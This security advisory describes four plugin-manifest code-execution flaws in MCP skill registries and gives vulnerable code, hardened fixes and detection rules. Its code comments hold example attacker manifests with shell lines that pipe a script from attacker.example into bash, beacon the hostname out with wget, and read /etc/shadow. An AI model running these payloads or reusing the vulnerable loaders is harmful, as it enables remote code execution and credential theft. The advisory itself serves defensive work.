Insecure Deserialization in MCP Skill Registry Plugin System — Four Code Execution Patterns
Plugin architectures accept untrusted code and configuration from third-party developers and execute it inside the registry process. SA-SKL-DESER8 covers four code execution vulnerabilities discovered in MCP skill registry plugin systems during SkillAudit's latest scan cycle: a require() path traversal that loads arbitrary native .node binaries, a js-yaml full-mode parse-time RCE triggered by the !!js/function YAML type, a new Function() eval of a plugin manifest string field executed on first event, and an npm install command injection via crafted dependency names in a plugin manifest's dependencies array. Three of the four findings are rated Critical. All four share the same root cause: trusting data from an uploaded plugin manifest without validating it before passing it to code-execution APIs.
Contents
- Why plugin systems are high-risk surfaces
- DESER8-001 (Critical) — require() path traversal to native .node module
- DESER8-002 (Critical) — js-yaml full mode !!js/function RCE on parse
- DESER8-003 (Critical) — new Function() eval of manifest event handler string
- DESER8-004 (High) — npm install injection via manifest dependencies
- Compound attack chain: DESER8-002 → DESER8-004 → supply chain
- Detection with SkillAudit
- Summary checklist
Why plugin systems are high-risk surfaces
When a team builds an MCP skill registry that supports third-party plugins, they accept a fundamental trust boundary problem: the plugin author is not the registry operator. A registry that runs at high privilege — with API keys, database credentials, cloud IAM roles, or access to the host filesystem — becomes an attractive target for any developer who can upload a plugin. The attack doesn't require a vulnerability in a dependency or a clever network exploit. It requires finding a single place where the registry reads a field from an untrusted plugin manifest and passes it to require(), yaml.load(), new Function(), or child_process.execFile without validation.
MCP skill registries face this problem acutely because their plugin manifests are rich structured documents. A plugin's package.json or manifest YAML file specifies the entry point (main), configuration schema, event handler callbacks, and package dependencies. Each of these fields is a potential injection point. Registry code that processes this manifest needs to treat every field as attacker-controlled input — applying the same validation rigor it would apply to an HTTP request parameter or a SQL query argument.
The four DESER8 findings share a consistent code pattern: a field from manifest (or an object derived from parsing the manifest) is passed directly to a function that evaluates or executes code. The developer's mental model was that the manifest is "just configuration" and that the worst case is a misconfigured plugin that doesn't load. The actual worst case is arbitrary code execution in the registry process on every server that installs the plugin.
Related reading: SA-SKL-DESER7 covers deserialization in audit result caching and report generation. SA-SKL-INJECTION10 covers dynamic import and vm.Module injection patterns. SA-SKL-SSRF25 covers SSRF in documentation fetch and external resource preview flows.
DESER8-001 (Critical) — require() path traversal to native .node module
Severity: Critical — unauthenticated RCE on plugin installation or reload. Any developer account that can upload a plugin to the registry can achieve code execution in the registry process.
The registry loads each plugin's entry point by reading the main field from the plugin's package.json manifest and passing it directly to require(). Node.js's require() resolves relative paths from the calling module's directory, but it does not enforce that the resolved path stays within the plugin's directory. An attacker who controls the manifest main field can traverse the filesystem with ../ sequences and load any module reachable from the plugin's directory — including native .node add-ons stored elsewhere on the host.
// plugin-loader.js
import path from 'node:path';
import fs from 'node:fs';
const PLUGINS_DIR = '/var/registry/plugins';
async function loadPlugin(pluginId) {
const pluginDir = path.join(PLUGINS_DIR, pluginId);
const manifestPath = path.join(pluginDir, 'package.json');
// Read the uploaded plugin manifest
const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
// VULNERABLE: manifest.main is attacker-controlled.
// require() resolves relative to __dirname of this file, NOT the plugin directory,
// but even when resolved from pluginDir, path traversal is not prevented.
const pluginModule = require(path.join(pluginDir, manifest.main));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If manifest.main is "../../../tmp/exploit.node",
// this resolves to /tmp/exploit.node and executes it.
return pluginModule;
}
// Attacker uploads plugin with package.json:
// {
// "name": "innocent-plugin",
// "version": "1.0.0",
// "main": "../../../tmp/exploit.node"
// }
//
// Prior to loading, attacker places a crafted native add-on at /tmp/exploit.node.
// Node.js executes the add-on's napi_module_register() C++ init function immediately,
// with full access to the Node.js runtime API, process environment, and filesystem.
//
// Native .node modules bypass all JavaScript-level sandboxes.
// There is no try/catch that stops native module initialization.
The critical detail is that native .node add-ons are shared libraries loaded via dlopen(). Node.js executes their C++ initialization function synchronously during the require() call, before any JavaScript code runs. The initialization function runs with the full privileges of the registry process and can call any POSIX API or Node.js N-API function. There is no way to sandbox this in JavaScript: a crafted .node binary can call fork() + execve() to spawn a child process, write to disk, open network connections, or install a persistent backdoor — all before the JavaScript require() call returns.
The attack does not require a .node file. Traversal to any .js or .cjs file on the host filesystem achieves arbitrary JavaScript execution. If the host has writable directories accessible to the registry process (such as /tmp), the attacker can write the payload file first (via a separate API endpoint or through a prior vulnerability) and then trigger its load via the manifest main field.
// plugin-loader.js — hardened version
import path from 'node:path';
import fs from 'node:fs';
import { pathToFileURL } from 'node:url';
const PLUGINS_DIR = '/var/registry/plugins';
// Only allow these extensions — block .node native add-ons entirely
const ALLOWED_EXTENSIONS = new Set(['.js', '.cjs', '.mjs']);
async function loadPlugin(pluginId) {
// Validate pluginId itself to prevent directory traversal in the plugin path
if (!/^[a-z0-9_-]{1,128}$/.test(pluginId)) {
throw new Error(`Invalid plugin ID: ${pluginId}`);
}
const pluginDir = path.join(PLUGINS_DIR, pluginId);
const manifestPath = path.join(pluginDir, 'package.json');
const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
const rawMain = manifest.main;
if (typeof rawMain !== 'string') {
throw new Error('Plugin manifest.main must be a string');
}
// Step 1: resolve the full absolute path
const resolvedMain = path.resolve(pluginDir, rawMain);
// Step 2: verify the resolved path starts with the plugin directory.
// path.sep ensures we don't match /var/registry/plugins-evil as a prefix of
// /var/registry/plugins.
const pluginDirWithSep = pluginDir.endsWith(path.sep)
? pluginDir
: pluginDir + path.sep;
if (!resolvedMain.startsWith(pluginDirWithSep)) {
throw new Error(
`Plugin main field traverses outside plugin directory: ${rawMain}`
);
}
// Step 3: allowlist extension — block .node and all other non-JS extensions
const ext = path.extname(resolvedMain).toLowerCase();
if (!ALLOWED_EXTENSIONS.has(ext)) {
throw new Error(
`Plugin main field has disallowed extension "${ext}". ` +
`Only .js, .cjs, .mjs are permitted.`
);
}
// Step 4: use dynamic import() with a file:// URL for ESM-compatible loading.
// import() does NOT execute native .node modules — only CommonJS require() does.
// Using import() adds a second layer of defense if an attacker circumvents the
// extension check.
const pluginModule = await import(pathToFileURL(resolvedMain).href);
return pluginModule;
}
Defense-in-depth note: Even with path confinement, a plugin directory that contains attacker-uploaded .node files is dangerous. The extension allowlist blocks them from being loaded via main, but a future code path change could re-enable loading. Consider running plugin loading in a separate worker thread or child process with a restricted file descriptor set, so that even a successful path traversal cannot access the registry process's credentials.
DESER8-002 (Critical) — js-yaml full mode !!js/function RCE on parse
Severity: Critical — parse-time RCE. The vulnerability fires the moment the YAML string is parsed, before any application logic runs. No validation of the parsed result can prevent it because the code runs inside the YAML parser.
The registry allows plugins to supply configuration in YAML format. The configuration is loaded using js-yaml's yaml.load() function without a schema option. When no schema is specified, js-yaml versions below 4.0 default to DEFAULT_FULL_SCHEMA, which includes the !!js/function, !!js/regexp, and !!js/undefined YAML type tags. The !!js/function tag passes its string value to the JavaScript Function constructor and returns the resulting function object as part of the parsed document. This means any YAML document containing !!js/function executes arbitrary JavaScript at parse time.
// config-parser.js
import yaml from 'js-yaml'; // js-yaml ^3.14.1 — DEFAULT_FULL_SCHEMA
function loadPluginConfig(configYaml) {
// VULNERABLE: yaml.load() without schema option defaults to DEFAULT_FULL_SCHEMA
// in js-yaml v3.x, which enables !!js/function, !!js/regexp, !!js/undefined.
const config = yaml.load(configYaml);
// ^^^^^^^^^^^^^^^^^^^^
// If configYaml contains !!js/function, the function body
// is passed to new Function() and executed DURING yaml.load().
// There is no way to catch this — it fires before load() returns.
return config;
}
// Attacker uploads plugin with config.yaml:
// ---
// name: innocent-config
// version: "1.0.0"
// callback: !!js/function >
// function() {
// require('child_process').execSync(
// 'bash -c "curl https://attacker.example/shell.sh | bash"'
// );
// }
//
// When loadPluginConfig() is called with this YAML string,
// yaml.load() calls new Function('function() { require(...).execSync(...) }')
// and immediately invokes the resulting function.
// RCE fires before the return value is inspected.
//
// The !!js/function tag also enables:
// key: !!js/function 'function(){ return require("fs").readFileSync("/etc/shadow","utf8") }'
// — file exfiltration in a single YAML value.
The js-yaml maintainers addressed this in version 4.0.0 by removing DEFAULT_FULL_SCHEMA entirely. In v4, yaml.load() defaults to DEFAULT_SCHEMA (a subset of YAML 1.2 Core schema), which does not include !!js/function or other JavaScript-specific types. Servers still running js-yaml v3 and calling yaml.load() without a schema option are vulnerable. The yaml.safeLoad() function in v3 uses DEFAULT_SAFE_SCHEMA and blocks the JavaScript type tags, but safeLoad() was deprecated in v4 in favor of the new default behavior.
// config-parser.js — hardened version
import yaml from 'js-yaml';
function loadPluginConfig(configYaml) {
// FIX OPTION A: upgrade to js-yaml v4+ and use yaml.load() — safe by default.
// DEFAULT_SCHEMA in v4 does not include !!js/function, !!js/regexp,
// !!js/undefined, or any other JavaScript-specific type tags.
const config = yaml.load(configYaml);
// No schema option needed in v4 — DEFAULT_SCHEMA is already safe.
// FIX OPTION B: if still on js-yaml v3, explicitly pass DEFAULT_SAFE_SCHEMA.
// const config = yaml.load(configYaml, { schema: yaml.DEFAULT_SAFE_SCHEMA });
//
// Note: yaml.safeLoad() is deprecated in v3 and removed in v4.
// Always use yaml.load() + explicit schema, never rely on function name alone.
// Post-parse validation: even after using the safe schema, validate structure
// so that unexpected types don't reach downstream code.
if (typeof config !== 'object' || config === null || Array.isArray(config)) {
throw new Error('Plugin config must be a YAML mapping at the top level');
}
// Strip any keys that could be used for prototype pollution
if ('__proto__' in config || 'constructor' in config || 'prototype' in config) {
throw new Error('Plugin config contains forbidden prototype keys');
}
return config;
}
// package.json dependency to enforce:
// "js-yaml": "^4.1.0" ← v4 removes DEFAULT_FULL_SCHEMA entirely
//
// If js-yaml version is pinned to v3 for other reasons, add an eslint rule:
// "no-restricted-syntax": [{ "selector": "CallExpression[callee.property.name='load']" }]
// to flag any yaml.load() call that doesn't pass { schema: yaml.DEFAULT_SAFE_SCHEMA }
Detection shortcut: grep -r "yaml\.load(" --include="*.js" --include="*.ts" . in any codebase using js-yaml v3 will find all call sites. Any call without an explicit schema option is a candidate for the !!js/function RCE. The fix is a one-line change: add { schema: yaml.DEFAULT_SAFE_SCHEMA } as the second argument, or upgrade to v4.
DESER8-003 (Critical) — new Function() eval of manifest event handler string
Severity: Critical — RCE on first event delivery. Any plugin that specifies an onEvent string in its manifest will have that string wrapped in new Function() and executed when the registry delivers the first event matching the plugin's event subscription.
The registry allows plugins to register event handlers for lifecycle events (skill install, skill update, audit complete, and similar). The plugin's manifest includes an onEvent field that is supposed to name the exported function to call. The registry implementation reads this field and uses new Function('event', plugin.onEvent) to build the handler, treating the manifest string as the function body rather than as an export name. This is semantically equivalent to eval(): any JavaScript code placed in the onEvent manifest field is executed in the registry process.
// event-dispatcher.js
import path from 'node:path';
const registeredHandlers = new Map();
function registerPluginEventHandler(pluginId, manifest, pluginModule) {
if (!manifest.onEvent) return;
// VULNERABLE: manifest.onEvent is treated as a JavaScript function body.
// new Function(arg, body) is equivalent to eval() — it compiles and
// executes the string as JavaScript in the registry process.
const handler = new Function('event', manifest.onEvent);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If manifest.onEvent is:
// "require('child_process').execSync('id > /tmp/pwned')"
// this creates: function(event) { require('child_process').execSync('id > /tmp/pwned') }
// and executes it on the first event dispatch.
registeredHandlers.set(pluginId, handler);
}
function dispatchEvent(eventType, payload) {
for (const [pluginId, handler] of registeredHandlers) {
try {
// RCE fires here, on first event dispatch
handler({ type: eventType, payload });
} catch (err) {
console.error(`Handler error for plugin ${pluginId}:`, err);
}
}
}
// Attacker manifest:
// {
// "name": "malicious-plugin",
// "onEvent": "require('child_process').execSync('bash -c \"wget -qO- https://attacker.example/beacon?host=$(hostname)\"')"
// }
//
// On first audit.complete event, the handler fires and exfiltrates the hostname.
// More dangerous payloads can exfiltrate environment variables, write SSH keys,
// or install a reverse shell listener.
The fundamental mistake is confusing "a string that names a function" with "the function body itself." The correct approach is for the manifest to declare the name of an exported function that was loaded from the plugin module's JavaScript file, and for the registry to look up that function by name in the already-loaded module. This keeps code in .js files (which go through the path-confinement checks in DESER8-001) and keeps manifest fields as data, not as code.
// event-dispatcher.js — hardened version
const registeredHandlers = new Map();
// Allowed export names: simple identifiers only, no dot access, no brackets
const EXPORT_NAME_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]{0,63}$/;
function registerPluginEventHandler(pluginId, manifest, pluginModule) {
if (!manifest.onEvent) return;
// FIX: manifest.onEvent is an export NAME, not a function body.
// Validate it as a simple identifier before using it as a property key.
const exportName = manifest.onEvent;
if (typeof exportName !== 'string') {
throw new Error(`Plugin ${pluginId}: onEvent must be a string`);
}
if (!EXPORT_NAME_RE.test(exportName)) {
throw new Error(
`Plugin ${pluginId}: onEvent value "${exportName}" is not a valid export name`
);
}
// Look up the handler in the already-loaded plugin module.
// pluginModule was loaded via import() with path confinement (DESER8-001 fix).
// The code lives in a .js file — it was reviewed (or audited) during plugin
// submission, not injected via a manifest field.
const handler = pluginModule[exportName];
if (typeof handler !== 'function') {
throw new Error(
`Plugin ${pluginId}: export "${exportName}" is not a function`
);
}
// Wrap in a try/catch-isolated call to prevent one plugin crashing all handlers
registeredHandlers.set(pluginId, async (event) => {
try {
await handler(event);
} catch (err) {
console.error(`Handler error in plugin ${pluginId} (${exportName}):`, err);
}
});
}
// Legitimate plugin manifest:
// { "name": "my-plugin", "onEvent": "handleRegistryEvent" }
//
// Legitimate plugin module (my-plugin/index.js):
// export function handleRegistryEvent(event) {
// if (event.type === 'audit.complete') { /* process audit */ }
// }
//
// The function lives in .js code, not in a manifest string.
// new Function() is never called — no eval-equivalent path exists.
General rule: Manifest fields should always be references to code (export names, file names, function names within already-loaded modules), never code itself (function bodies, JavaScript expressions, shell commands). If a manifest field value would need to be passed to eval(), new Function(), vm.runInContext(), or any shell to be useful, the design is wrong.
DESER8-004 (High) — npm install injection via manifest dependencies
Severity: High — supply chain injection. The file: protocol allows loading packages from local paths (enabling path traversal to already-present local code). Malicious packages on the npm registry can include postinstall lifecycle scripts that execute arbitrary shell commands during npm install.
When a plugin is installed, the registry reads the plugin's manifest.dependencies array and runs npm install with those package specifiers as arguments. The dependency specifiers are taken directly from the manifest without validating their format. This creates two distinct attack vectors: a file: protocol specifier that loads a local path rather than an npm package, and a malicious npm package name that, when installed, runs a postinstall script executing arbitrary shell commands.
// dependency-installer.js
import { execFile } from 'node:child_process';
import path from 'node:path';
async function installPluginDependencies(pluginId, manifest) {
if (!manifest.dependencies || manifest.dependencies.length === 0) return;
const pluginInstallDir = path.join('/var/registry/plugins', pluginId, 'node_modules');
return new Promise((resolve, reject) => {
// VULNERABLE: manifest.dependencies is an array of attacker-controlled strings.
// execFile avoids shell injection in the argument array itself, BUT:
//
// 1. file: protocol installs a local path:
// "file:../../../etc" — npm copies the local directory into node_modules,
// potentially executing a "prepare" script in an already-present local package.
//
// 2. Malicious npm package names with postinstall scripts:
// "malicious-pkg@1.0.0" — if malicious-pkg has a postinstall script,
// npm runs it as a shell command during install. The postinstall
// script runs with the same privileges as the registry process.
//
// 3. git+ and http: protocols fetch and execute arbitrary remote code:
// "git+https://attacker.example/exploit.git" — npm clones and installs
// the repo, running any lifecycle scripts it contains.
execFile('npm', [
'install',
'--prefix', pluginInstallDir,
...manifest.dependencies, // ← spread of attacker-controlled strings
], (err, stdout, stderr) => {
if (err) reject(err);
else resolve(stdout);
});
});
}
// Attacker manifest with file: protocol:
// { "dependencies": ["file:../../../tmp/exploit-pkg"] }
// → npm install file:../../../tmp/exploit-pkg runs prepare/postinstall
// scripts from /tmp/exploit-pkg/package.json
// Attacker manifest with malicious package:
// { "dependencies": ["totally-legit-utils@1.0.0"] }
// → if totally-legit-utils@1.0.0 has postinstall: "curl ... | bash" in
// its package.json, that script runs in the registry process
// dependency-installer.js — hardened version
import { execFile } from 'node:child_process';
import path from 'node:path';
// Strict allowlist regex for npm package specifiers.
// Format: @scope/name@semver or name@semver
// Blocks: file:, git+, http:, github:, and any shell metacharacters.
const NPM_PACKAGE_RE = /^(?:@[a-z0-9_-]{1,128}\/)?[a-z0-9_-]{1,128}@[0-9]+\.[0-9]+\.[0-9]+(?:-[a-zA-Z0-9._-]+)?(?:\+[a-zA-Z0-9._-]+)?$/;
// Protocols that must never appear as dependency prefixes
const BLOCKED_PREFIXES = ['file:', 'git+', 'git:', 'github:', 'http:', 'https:', 'link:', 'portal:'];
function validateDependencySpecifier(spec) {
if (typeof spec !== 'string') {
throw new Error(`Dependency specifier must be a string, got ${typeof spec}`);
}
// Check for blocked protocol prefixes first (fast path)
for (const prefix of BLOCKED_PREFIXES) {
if (spec.startsWith(prefix)) {
throw new Error(`Dependency specifier "${spec}" uses blocked protocol "${prefix}"`);
}
}
// Enforce strict allowlist: only name@exact-semver
if (!NPM_PACKAGE_RE.test(spec)) {
throw new Error(
`Dependency specifier "${spec}" does not match allowed format ` +
`(name@X.Y.Z or @scope/name@X.Y.Z with exact semver version)`
);
}
return spec;
}
async function installPluginDependencies(pluginId, manifest) {
if (!manifest.dependencies) return;
if (!Array.isArray(manifest.dependencies)) {
throw new Error('manifest.dependencies must be an array');
}
if (manifest.dependencies.length > 20) {
throw new Error('manifest.dependencies must not exceed 20 entries');
}
// Validate every specifier before passing any to npm
const validated = manifest.dependencies.map(validateDependencySpecifier);
const pluginInstallDir = path.join('/var/registry/plugins', pluginId, 'node_modules');
return new Promise((resolve, reject) => {
execFile('npm', [
'install',
'--prefix', pluginInstallDir,
'--ignore-scripts', // ← blocks postinstall / prepare lifecycle scripts
'--no-audit', // ← skip advisory audit network call (use a separate pipeline)
'--no-fund', // ← suppress funding messages
'--loglevel', 'error',
...validated,
], { timeout: 60_000 }, (err, stdout, stderr) => {
if (err) reject(new Error(`npm install failed: ${stderr}`));
else resolve(stdout);
});
});
}
// --ignore-scripts is the critical flag.
// It prevents postinstall, preinstall, prepare, and all other lifecycle
// scripts from running during npm install.
//
// Combined with the strict specifier allowlist (exact semver, no protocols),
// this blocks both the file: traversal path and the malicious-package
// lifecycle script path.
Important: --ignore-scripts blocks postinstall lifecycle execution, but does not prevent a malicious package from delivering malicious JavaScript files into node_modules that the plugin code later require()s. A complete defense also requires a dependency allowlist (pre-approved packages) checked at plugin submission time, combined with package integrity verification via npm ci with a lockfile generated by the registry during review — not by the plugin author.
Compound attack chain: DESER8-002 → DESER8-004 → supply chain
The four findings interact. An attacker with patience can chain DESER8-002 and DESER8-004 into a supply chain attack that persists beyond the initial plugin installation. The chain requires both vulnerabilities to be present and exploits their sequential execution order: YAML config is parsed before dependency installation runs.
Attacker uploads plugin with !!js/function YAML config (DESER8-002)
The plugin's config.yaml contains a !!js/function value. The registry calls yaml.load(configYaml) without a safe schema. The function body executes in the registry process during YAML parse. At this point the attacker has arbitrary code execution in the process context.
YAML parse-time RCE modifies manifest.dependencies in memory
The !!js/function payload is designed not to spawn an obvious subprocess. Instead, it modifies the in-memory manifest object that will be passed to the dependency installer. It replaces the validated-looking dependency list with attacker-controlled specifiers, including a file: path pointing to a local directory the attacker has previously written to, or a malicious package name that includes a postinstall script.
npm install runs with the modified dependency list (DESER8-004)
The registry proceeds to the dependency installation phase and calls execFile('npm', ['install', ...manifest.dependencies]) with the attacker-modified array. The file: protocol specifier installs a local package; npm runs its prepare lifecycle script. Alternatively, the malicious npm package's postinstall script executes. Either path achieves a second, independent code execution primitive — now outside the YAML parse context and running as a child of the registry process.
Persistence: postinstall installs a malicious package into shared node_modules
The npm lifecycle script writes a backdoored version of a commonly-required utility package (such as a logging or HTTP client library) into the registry's shared node_modules directory, overwriting the legitimate version. All subsequent plugins that require() that package now execute the backdoored version. The initial !!js/function payload is no longer needed: the backdoor persists across registry restarts and plugin uninstalls.
The chain illustrates why both fixes must be applied together. Fixing DESER8-002 alone (using safe YAML schema) prevents the in-memory manifest modification, but leaves DESER8-004 exploitable by a direct manifest upload with a file: dependency. Fixing DESER8-004 alone (adding --ignore-scripts and the specifier allowlist) prevents the postinstall execution, but leaves DESER8-002 exploitable for direct RCE without needing npm at all. The compound chain also demonstrates that YAML parse-time code execution is not "contained" to the parse call — it can influence every subsequent operation the process performs.
Detection with SkillAudit
SkillAudit's static analysis engine finds all four DESER8 patterns using a combination of AST-level taint tracking and grep-based pattern detection. Here is what each detection rule looks for:
DESER8-001: require() with manifest-derived path
AST query: find CallExpression nodes where callee.name === 'require' and perform backward taint tracking on the first argument. If the argument traces to a property access on an object derived from JSON.parse() applied to a file read from an uploaded plugin directory, the finding is raised as Critical. The taint tracking follows variable assignments, path.join() and path.resolve() calls, and template literals to identify cases where a manifest field contributes to the require argument.
Secondary heuristic: flag any require(path.join(... or require(path.resolve(... pattern where the path argument includes a variable (not a string literal). These are always candidates for path traversal regardless of the specific data source.
DESER8-002: js-yaml unsafe load
Two-stage detection. Stage one: grep for yaml\.load\( in all .js, .ts, and .cjs files. Flag every match where the second argument is absent or does not contain schema:. Flag yaml\.safeLoad\( in js-yaml v4 (the function was removed — its presence indicates a stale codebase that may have upgrade-related issues). Stage two: inspect package.json (and package-lock.json) for js-yaml version. Any version matching ^3. or ~3. is flagged as a dependency-level risk factor that elevates the severity of any yaml.load() call found in stage one.
DESER8-003: new Function() or eval() with untrusted input
AST query: find NewExpression[callee.name='Function'] and CallExpression[callee.name='eval'] nodes. For each, perform forward taint analysis from plugin manifest load sites (any JSON.parse() or yaml.load() call reading a file from a plugin directory) to the argument position. Direct traces from manifest field access to new Function() are Critical. Indirect traces through intermediate variables or function calls are High and require manual review to confirm.
The same rule also flags vm.runInContext(), vm.runInNewContext(), and vm.Script constructors where the script source argument traces to untrusted input. These are equivalent to eval() from a code execution perspective.
DESER8-004: npm install with spread manifest array
Grep pattern: execFile.*npm.*install in combination with spread syntax (\.\.\.manifest or \.\.\.deps or any spread of an array property). AST-level check: find CallExpression nodes for execFile, exec, spawn, or spawnSync where the arguments array contains a spread expression (SpreadElement) whose argument traces to a manifest-derived array. Flag as High if --ignore-scripts is not present in the static argument list, Critical if the specifiers are unvalidated.
Summary checklist
| ID | Severity | Vulnerable pattern | Fixed pattern | Key flag |
|---|---|---|---|---|
| DESER8-001 | Critical | require(path.join(pluginDir, manifest.main)) without path confinement or extension allowlist |
path.resolve() + startsWith(pluginDir + sep) + extension allowlist .js/.cjs/.mjs only; use import() not require() |
Native .node modules execute C++ init before JS can intercept |
| DESER8-002 | Critical | yaml.load(configYaml) with js-yaml v3 (no schema option) → !!js/function executes at parse time |
Upgrade to js-yaml v4 (default schema is safe), or pass { schema: yaml.DEFAULT_SAFE_SCHEMA } in v3 |
RCE fires inside yaml.load(); no post-parse validation can prevent it |
| DESER8-003 | Critical | new Function('event', manifest.onEvent) treats manifest string as function body → eval-equivalent RCE on first event |
Manifest declares export name (string); loader uses pluginModule[exportName] after validating with /^[a-zA-Z_$]\w{0,63}$/ |
Manifest fields must be data (names, keys), never code (function bodies, expressions) |
| DESER8-004 | High | execFile('npm', ['install', ...manifest.dependencies]) with no specifier validation → file: local path or malicious package lifecycle |
Strict regex allowlist for package specifiers + exact semver pinning + block file:, git+, http: prefixes + --ignore-scripts |
Even with --ignore-scripts, malicious files land in node_modules; require a dependency allowlist too |
The unifying fix: Every field read from an uploaded plugin manifest is attacker-controlled input. Apply the same validation mindset used for HTTP request parameters: type check, format allowlist, length limit, and use the value only as a data reference — never pass it directly to require(), yaml.load(), new Function(), or child_process without strict pre-validation.
SkillAudit's static analysis scans for all four DESER8 patterns — and 200+ additional vulnerability classes — in minutes. Get a detailed report with file paths, line numbers, and one-line fixes.
Get early access →